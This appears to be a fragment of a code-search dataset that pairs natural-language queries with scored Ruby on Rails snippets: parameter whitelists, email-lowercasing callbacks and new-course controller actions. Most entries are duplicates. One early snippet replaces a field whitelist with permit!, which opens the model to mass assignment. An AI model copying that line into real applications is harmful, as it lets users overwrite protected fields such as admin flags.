"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58602303",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.5854586",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58537364",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.5850427",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5850199",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
99da035901b1bd314932952224717e78 | Converts requester email to all lowercase. | [
{
"docid": "09e2aa55a86468673705f647103a9cc1",
"score": "0.8477988",
"text": "def downcase_email\n self.requester_email = requester_email.downcase\n end",
"title": ""
}
] | [
{
"docid": "2b2c0688ba3acfcff4c2f18ffcd0d792",
"score": "0.8181086",
"text": "def normalize_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "61c6f9455ec34c2acd15663a017f23dc",
"score": "0.8074938",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "62dab5ad9da1b5d09c0845b002f68dec",
"score": "0.80115813",
"text": "def downcase_email\n\t\t\temail.downcase!\n\t\tend",
"title": ""
},
{
"docid": "6b65059c1fefe0349bbb966d7c91ec3b",
"score": "0.79777944",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "6b65059c1fefe0349bbb966d7c91ec3b",
"score": "0.79777944",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "6b65059c1fefe0349bbb966d7c91ec3b",
"score": "0.79777944",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "6b65059c1fefe0349bbb966d7c91ec3b",
"score": "0.79777944",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "6b65059c1fefe0349bbb966d7c91ec3b",
"score": "0.79777944",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "8371ad285364c309dea4b1f9d7431244",
"score": "0.79519343",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "61df7631d18fee6daaef3811fc2778ed",
"score": "0.7945413",
"text": "def downcase_email\n\t\tself.email.downcase!\n\tend",
"title": ""
},
{
"docid": "fa7bec607dd8daa7e4b9a83b560a2fb5",
"score": "0.7929496",
"text": "def downcase_submitter_email\n submitter_email.downcase!\n end",
"title": ""
},
{
"docid": "94e45e6bf43430a142210c7b3dbb048f",
"score": "0.79282117",
"text": "def downcase_email\n if self.email\n self.email.downcase!\n end\n end",
"title": ""
},
{
"docid": "b3d2beb2333b4918e7ca8a89dccfc34f",
"score": "0.79046124",
"text": "def downcase_eMail\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "8cc271b4779f2c8393dd680bfc44ea2f",
"score": "0.78978634",
"text": "def normalize_email!\n self.email = self.email.to_s.downcase.squish\n end",
"title": ""
},
{
"docid": "b392e8fb20239f3b9ef25db3b5df848b",
"score": "0.7850662",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "38a16f2068c63d73ae8e0eec79ffd65f",
"score": "0.78342986",
"text": "def downcase_email\n self.email = email.to_s.downcase\n end",
"title": ""
},
{
"docid": "36311a4c0e1da22987acb62f2cd348ce",
"score": "0.7834206",
"text": "def normalize_email(email)\n email.strip.downcase\n end",
"title": ""
},
{
"docid": "64b8223df2bc21e46b3ce0937b3de69f",
"score": "0.78185564",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "64b8223df2bc21e46b3ce0937b3de69f",
"score": "0.78185564",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "64b8223df2bc21e46b3ce0937b3de69f",
"score": "0.78185564",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "64b8223df2bc21e46b3ce0937b3de69f",
"score": "0.78185564",
"text": "def downcase_email\n self.email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "48d2b6e2ff4bf5c1838bdaa66807ce16",
"score": "0.7811059",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "207c897ecdcd1d58748eac60e3bad8bf",
"score": "0.7810194",
"text": "def normalize_email\n if self.email.present?\n self.email = self.email.to_s.downcase.strip\n end\n end",
"title": ""
},
{
"docid": "29bc2da84b96be82ac93a70dd13450ec",
"score": "0.77948844",
"text": "def normalize_email\n self.email = self.email.downcase.strip\n end",
"title": ""
},
{
"docid": "e45567b22cdf4c287522b937b18765c7",
"score": "0.77871376",
"text": "def normalize_user_email\n self.email = self.email.to_s.downcase.strip\n end",
"title": ""
},
{
"docid": "7f68a84c260b81211d095db5907c171a",
"score": "0.77751684",
"text": "def downcase_email\n self.email.downcase! if self.email\n end",
"title": ""
},
{
"docid": "2aa34fa2a600f0a92dba5d67fe9a1557",
"score": "0.7755506",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "73769769ccf25ce6b19803a4372324c3",
"score": "0.77396774",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "73769769ccf25ce6b19803a4372324c3",
"score": "0.77396774",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "73769769ccf25ce6b19803a4372324c3",
"score": "0.77396774",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "fdaf4b769eaf386d39dae548904fa749",
"score": "0.77377987",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "d7a7ba270c5cc3dd2c2c3c1634a57a22",
"score": "0.77324194",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "d7a7ba270c5cc3dd2c2c3c1634a57a22",
"score": "0.77324194",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "c5ea28f92205e5b5469f69982460d758",
"score": "0.77311057",
"text": "def downcase_email\n email.downcase!\n end",
"title": ""
},
{
"docid": "699bd5f0aaaef9dc4a0542d040f19fc1",
"score": "0.77239287",
"text": "def downcase_email\r\n self.email = email.downcase\r\n end",
"title": ""
},
{
"docid": "ba44186aad5f0a781d2dbe8f42f459f9",
"score": "0.77238196",
"text": "def downcase_email\n self.email = email.strip.downcase\n end",
"title": ""
},
{
"docid": "3ce9744f1d00ba666db54a2bf8dcc6e1",
"score": "0.77235156",
"text": "def downcase_email \n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "fd9f5a5ae3f929eaff6ed96974162694",
"score": "0.77113223",
"text": "def downcase_email\n self.email = email.downcase \n end",
"title": ""
},
{
"docid": "ae7766af4fe78c6dbde0347e33b4f548",
"score": "0.77073526",
"text": "def downcase_email\n\t\tself.email = email.downcase\n end",
"title": ""
},
{
"docid": "bfc71730b20692f39653ff3713aa88ab",
"score": "0.77054954",
"text": "def downcase_email\n\t\t self.email = email.downcase\n\t\tend",
"title": ""
},
{
"docid": "3f81a98c11de8dde21f16177ae6c6387",
"score": "0.76985306",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "3f81a98c11de8dde21f16177ae6c6387",
"score": "0.76985306",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "3f81a98c11de8dde21f16177ae6c6387",
"score": "0.76985306",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "481c348771e78d52393225894efc67a6",
"score": "0.7698157",
"text": "def downcase_email\n\t\t\tself.email = self.email.downcase\n\t\tend",
"title": ""
},
{
"docid": "2279c9f043c843fcde0d38d81c45ba8b",
"score": "0.7697966",
"text": "def downcase_email\n\t self.email = email.downcase\n\tend",
"title": ""
},
{
"docid": "2279c9f043c843fcde0d38d81c45ba8b",
"score": "0.7697966",
"text": "def downcase_email\n\t self.email = email.downcase\n\tend",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692575",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
},
{
"docid": "51b026e7e160d6cc52676065203faff6",
"score": "0.7692275",
"text": "def downcase_email\n self.email = email.downcase\n end",
"title": ""
}
] |
5ff43a4e439664f209cf3cfaeac2fae4 | GET /courses/new GET /courses/new.json | [
{
"docid": "17e9f540fa738a14415716a1a154a921",
"score": "0.0",
"text": "def new\n @course = Course.new\n @mallas = CourseOutline.all\n @semesters = [\"Primer\", 1], [\"Segundo\", 2], [\"Tercer\", 3], [\"Cuarto\", 4], [\"Quinto\", 5], [\"Sexto\", 6], [\"Séptimo\", 7], [\"Octavo\", 8], [\"Noveno\", 9], [\"Décimo\", 10], [\"Décimo Primer\", 11], [\"Décimo Segundo\", 12]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
}
] | [
{
"docid": "1b50ac6e30de4bdfff2cc64c482eba43",
"score": "0.8398613",
"text": "def new\n track \"new course page\"\n @course = current_user.courses.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "b5eaaebd5a94541f75c8cd7d38683eb8",
"score": "0.8142254",
"text": "def new\n add_breadcrumb \"Listagem de Cursos\", courses_path\n add_breadcrumb \"Incluir Curso\", new_course_path\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "b71dbaa1d2d13c38e1bb527924f68296",
"score": "0.8092543",
"text": "def new\n # binding.pry\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "b875eb45766d1a93d0125a61141dedd4",
"score": "0.8082082",
"text": "def new\n @course = Course.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "b875eb45766d1a93d0125a61141dedd4",
"score": "0.8082082",
"text": "def new\n @course = Course.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.8073371",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c3c02c0071db20168eb0a6cbd3a6b3a2",
"score": "0.80730015",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "fbbe3facd55f1ff2d861b5916a9b4364",
"score": "0.80538166",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "21de526414ba630ce6a95e6339131556",
"score": "0.8010703",
"text": "def new\n session[:course_params] ||= {}\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "745b711c1a6160fa4ce2983109390282",
"score": "0.7993569",
"text": "def new\n if params[:course_id]\n @course = Course.find(params[:course_id])\n else\n @course = Course.new\n @course.lecture_id = params[:lecture_id]\n @course.name = params[:name]\n @course.url = params[:url]\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "0249d32fa66f5843062087acbda3c2eb",
"score": "0.7925053",
"text": "def new\n\t\t@course = Course.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render :json => @course }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d0c7ba3064501ef33c97a063f781bf2f",
"score": "0.79213214",
"text": "def new\n @courseid = Courseid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @courseid }\n end\n end",
"title": ""
},
{
"docid": "e740695686f0410da53726d14eec7195",
"score": "0.79187226",
"text": "def new\n @court = Court.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @court }\n end\n end",
"title": ""
},
{
"docid": "e740695686f0410da53726d14eec7195",
"score": "0.79187226",
"text": "def new\n @court = Court.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @court }\n end\n end",
"title": ""
},
{
"docid": "b6c0367a386dea47b77c482d4b59d4a3",
"score": "0.78744346",
"text": "def new\n if !@@isAdmin\n redirect_to course_url\n end\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "2e56b06093d26f7296eaa7343ff52523",
"score": "0.785365",
"text": "def new\n @concourse = Concourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concourse }\n end\n end",
"title": ""
},
{
"docid": "cb3a2c8fa3393ae5d77c11a7655be84a",
"score": "0.7837366",
"text": "def new\n @course = Course.new\n @categories = Category.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "8cbb4d9140150cab5e2b212e2999bafb",
"score": "0.77493256",
"text": "def new\n @course_class = CourseClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_class }\n end\n end",
"title": ""
},
{
"docid": "0a8795d0b9db2db2c42fc9622386d9f7",
"score": "0.7739976",
"text": "def new\n @course = Course.new(instructor_ID: params[:instructor_ID])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"title": ""
},
{
"docid": "8b474b00622d1ab56e0683b7c42f76c5",
"score": "0.77087677",
"text": "def new\n @resource = @course.resources.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"title": ""
},
{
"docid": "a01c78e6a366a7ca69fb9633e6b3f6dd",
"score": "0.765163",
"text": "def new\n @course = Course.new\n @course_types = CourseType.all.map {|c| [c.name.capitalize, c.id]}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "65ae5bf2c6bfaf8c0d675cc16ae9235b",
"score": "0.76511234",
"text": "def new\n @course_membership = CourseMembership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_membership }\n end\n end",
"title": ""
},
{
"docid": "49174b5ff62bfd5dae80c105e548b91a",
"score": "0.7603837",
"text": "def new\n @course_type = CourseType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_type }\n end\n end",
"title": ""
},
{
"docid": "d0c86b8f68350c8ae017f3a833919971",
"score": "0.7594039",
"text": "def new\n @course_subject = CourseSubject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_subject }\n end\n end",
"title": ""
},
{
"docid": "c0981f7e39bcc76d72b613f259aceda7",
"score": "0.75859535",
"text": "def new\n @reg_course = RegCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reg_course }\n end\n end",
"title": ""
},
{
"docid": "5beba49279e4e92a85cb2154ce68603a",
"score": "0.75770915",
"text": "def new\r\n @usercourse = Usercourse.new\r\n @course = Course.find(params[:id])\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @usercourse }\r\n end\r\n end",
"title": ""
},
{
"docid": "4ba264f093d977fcb7fa04d7f78ce3c5",
"score": "0.7547922",
"text": "def new\n @lecture = Lecture.new\n @course = Course.find(params[:course_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lecture }\n end\n end",
"title": ""
},
{
"docid": "4ff30489dc26e44795ad4e3526ba07a6",
"score": "0.75469047",
"text": "def new\n @question_course = QuestionCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_course }\n end\n end",
"title": ""
},
{
"docid": "a99d3ddf5235536c41bc76736ca8508e",
"score": "0.75457776",
"text": "def new\n @teaching_course = TeachingCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @teaching_course }\n end\n end",
"title": ""
},
{
"docid": "b4356658263e734dd34f3b8df0164eab",
"score": "0.7545382",
"text": "def new\n @course = Course.find(params[:course_id])\n @discipline = Discipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @discipline }\n end\n end",
"title": ""
},
{
"docid": "5b599b6385ea7f5acd341d7d375c2790",
"score": "0.7523542",
"text": "def new\n @in_course = InCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @in_course }\n end\n end",
"title": ""
},
{
"docid": "4cd7a2379fc9c2070c83308c07421056",
"score": "0.75234956",
"text": "def new\r\n @practice = Practice.new\r\n @courses = Course.all\r\n\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @practice }\r\n end\r\n end",
"title": ""
},
{
"docid": "e32d81a484809a5b491db780b4223b92",
"score": "0.7523487",
"text": "def new\n @course = current_user.build_course\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "683cc01fdff168fbecac0ebe509de65a",
"score": "0.75121796",
"text": "def new\n @sele_course = SeleCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sele_course }\n end\n end",
"title": ""
},
{
"docid": "13cd0e2f696dbfa074235e96bbca9711",
"score": "0.7504199",
"text": "def new\n @course = Course.new\n @user = current_user\n @area = Area.first\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "2ec0adb395d4410750a93291da65fd72",
"score": "0.75032985",
"text": "def new\n @courses_instructor = CoursesInstructor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @courses_instructor }\n end\n end",
"title": ""
},
{
"docid": "443077dffcbcc7c3f47c5be8a17ec827",
"score": "0.74921817",
